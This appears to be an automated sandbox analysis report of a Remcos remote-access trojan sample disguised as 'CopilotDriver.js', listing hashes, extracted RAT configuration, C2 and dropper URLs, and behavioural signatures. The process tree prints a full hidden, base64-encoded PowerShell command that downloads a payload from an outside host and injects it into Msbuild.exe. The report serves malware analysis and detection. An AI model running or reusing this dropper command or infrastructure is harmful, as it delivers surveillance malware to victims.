remcos | c86ebb0e9a245fbe86a024641eb2a7dc236351c98ef98392ea366539b509827d

Analysis

max time kernel
149s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/02/2026, 07:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CopilotDriver.js
Size 6.8MB
Sample260205-h3d3yahy4f
SHA256 c86ebb0e9a245fbe86a024641eb2a7dc236351c98ef98392ea366539b509827d
MD5 72f5c229cc15f5677caa12e816b93aef
SHA1 3ccaf480789100aa14d85b2bf4a8429e504c03eb
SHA512 b465333a50937ad9c6b901453009d3159378d795596c4d9e6096c9d497bc41dd16ecdcd226589347829e37802564e47ddf67b3ce51f87456a89b1d8f31e0d10a
SSDEEP 384:PZAxeatOtaZf30cnFtcNFavFcJomcZbzcII+SWkDuLZMPuWe0/PwEgG3SfNwOrRL:NvDu1crzzaN/e4D36U7
TLSH
T1067613FC516248C865C9951F876EB3E2FE457496140AFD7E4A388AE790F1E8F31E01AC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

tar1 discovery execution remcos rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://hostphpwindowsapps.ydns.eu:8011/data/optimized_MSI.png
exe.dropper
http://hostphpwindowsapps.ydns.eu:8011/data/optimized_MSI.png

Extracted

Family

remcos

Version

7.1.0 Pro

Botnet

Tar1

systemcopilotdrivers.ydns.eu:3001

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
Copilotdrivers
mouse_option
false
mutex
Rmc-1SEM73
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5332	5524	powershell.exe	78

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5332	powershell.exe
3	5332	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5332	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5332 set thread context of 5952	5332	powershell.exe	81

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5332	powershell.exe
5332	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5332	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5952	Msbuild.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5332 wrote to memory of 5952	5332	powershell.exe	81
PID 5332 wrote to memory of 5952	5332	powershell.exe	81
PID 5332 wrote to memory of 5952	5332	powershell.exe	81
PID 5332 wrote to memory of 5952	5332	powershell.exe	81
PID 5332 wrote to memory of 5952	5332	powershell.exe	81
PID 5332 wrote to memory of 5952	5332	powershell.exe	81
PID 5332 wrote to memory of 5952	5332	powershell.exe	81

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\CopilotDriver.js
1⤵
PID:5072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JENvcmZ1ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskQ29yZnUuSGVhZGVycy5BZGQoIlVzZXItQWdlbnQiLCAiTW96aWxsYS81LjAiKTskQ29yZnUuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskQ29yZnUuSGVhZGVycy5BZGQoIkFjY2VwdC1MYW5ndWFnZSIsICJlbi1VUyxlbjtxPTAuOSIpOyRoeXBlcm94eWdlbml6ZWQgPSAnIUAjJCXCqCYqJSQjQCEjJSQlJCNAISMlJCbCqCUkIyUkJirCqDU0ODdEOi8vIUAjJCXCqCYqbzI1ODckJTQ1NjcjJCUlJCNAISMlJCbCqCUkIyUkJirCqDU0ODdEIUAjJCXCqCYqJsKoJSQjJSQmKsKoNTQ4N0R3aW5kb3cyNTg3JCU0NTY3IyQlYSbCqCUkIyUkJirCqDU0ODdEJsKoJSQjJSQmKsKoNTQ4N0QyNTg3JCU0NTY3IyQlLnlkbjI1ODckJTQ1NjcjJCUuZXU6ODAxMS9kYSUkI0AhIyUkYS9vJsKoJSQjJSQmKsKoNTQ4N0QlJCNAISMlJGltaXplZF9NU0kuJsKoJSQjJSQmKsKoNTQ4N0RuZycuUmVwbGFjZSgnIUAjJCXCqCYqJywgJ2gnKS5SZXBsYWNlKCclJCNAISMlJCcsICd0JykuUmVwbGFjZSgnJsKoJSQjJSQmKsKoNTQ4N0QnLCAncCcpLlJlcGxhY2UoJzI1ODckJTQ1NjcjJCUnLCAncycpOyRzdGVyZW9jaWxpdW0gPSAkQ29yZnUuRG93bmxvYWREYXRhKCRoeXBlcm94eWdlbml6ZWQpOyRJbmRpZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHN0ZXJlb2NpbGl1bSk7aWYgKCRJbmRpZXMgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsgICRhbWFsZGFyID0gJG1hdGNoZXNbMV07ICAkaHlkcm90aGVyb3BoeXRlID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYW1hbGRhcikpOyAgJGFyZ3NCYXNlNjQgPSAnSnoxUlNHVXdOVk5oZHpreVVYWkZSMlJzUW01amFFNUhUWGxWVTFreVZsZGtUemw1VEc1S00ySjFUVzVpYTNReVdURlNiVXhyUmpKaWN6VXlaSFpTVjJGNk1USk1kbTlFWXpCU1NHRW5MQ2NuTENkRE9seFZjMlZ5YzF4UWRXSnNhV05jUkc5M2JteHZZV1J6WENjc0owNWhiV1ZmUm1sc1pTY3NKMDF6WW5WcGJHUW5MQ2NuTENkTmMySjFhV3hrSnl3bkp5d25WVkpNSnl3blF6cGNWWE5sY25OY1VIVmliR2xqWEVSdmQyNXNiMkZrYzF3bkxDZE9ZVzFsWDBacGJHVW5MQ2RxY3ljc0p6RW5MQ2NuTENkVVlYTnJYMDVoYldVbkxDY3dKeXduSnl3bkp5d25Kdz09JzsgICRhcmdzU3RyaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYXJnc0Jhc2U2NCkpOyAgJGFyZ3MgPSAkYXJnc1N0cmluZyAtc3BsaXQgJywnIHwgRm9yRWFjaC1PYmplY3QgeyAkXy5UcmltKCcnJyInICkgfTsgIFtTb2Z0d2FyZS5Qcm9ncmFtXS5HZXRNZXRob2QoIk1haW4iKS5JbnZva2UoJG51bGwsICRhcmdzKTt9')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5332
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\Copilotdrivers\logs.dat
Size 102B
SHA256 a960ae8578b5c071e8707651a480f9b2f69571ad6abde0adb118588832495787
MD5 4897f853d51d12d5659149838bfecbbb
SHA1 5f0afae0d7af4e6297c255fc3d62ffc10a103acc
SHA512 8b56743010762e4a55b32bfaa5e4e33510b76332c443356f1f3dd3438364f110a1cb7bcd8b8b59c34ae8f54a41a0f61bea544ca662dca67f59bfa0806ad10891
TLSH
T106B0129823D2140775A5E13A5CF300176A707958003D880D31D1034C08706042081B4B
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lxy4vwqq.02s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lxy4vwqq.02s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5332-1-0x0000027D30E50000-0x0000027D30E60000-memory.dmp

Download

memory/5332-0-0x0000027D30E50000-0x0000027D30E60000-memory.dmp

Download

memory/5332-7-0x0000027D4C090000-0x0000027D4C0B2000-memory.dmp

Download

memory/5332-9-0x0000027D30E50000-0x0000027D30E60000-memory.dmp

Download

memory/5332-10-0x0000027D30E50000-0x0000027D30E60000-memory.dmp

Download

memory/5332-11-0x0000027D30E50000-0x0000027D30E60000-memory.dmp

Download

memory/5332-12-0x0000027D4C580000-0x0000027D4C6D2000-memory.dmp

Download

memory/5332-13-0x0000027D30E50000-0x0000027D30E60000-memory.dmp

Download

memory/5952-23-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-31-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-19-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-20-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-15-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-24-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-25-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-26-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-27-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-18-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-14-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-36-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-37-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-44-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-45-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-52-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-53-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-61-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/5952-60-0x0000000000400000-0x0000000000483000-memory.dmp

Download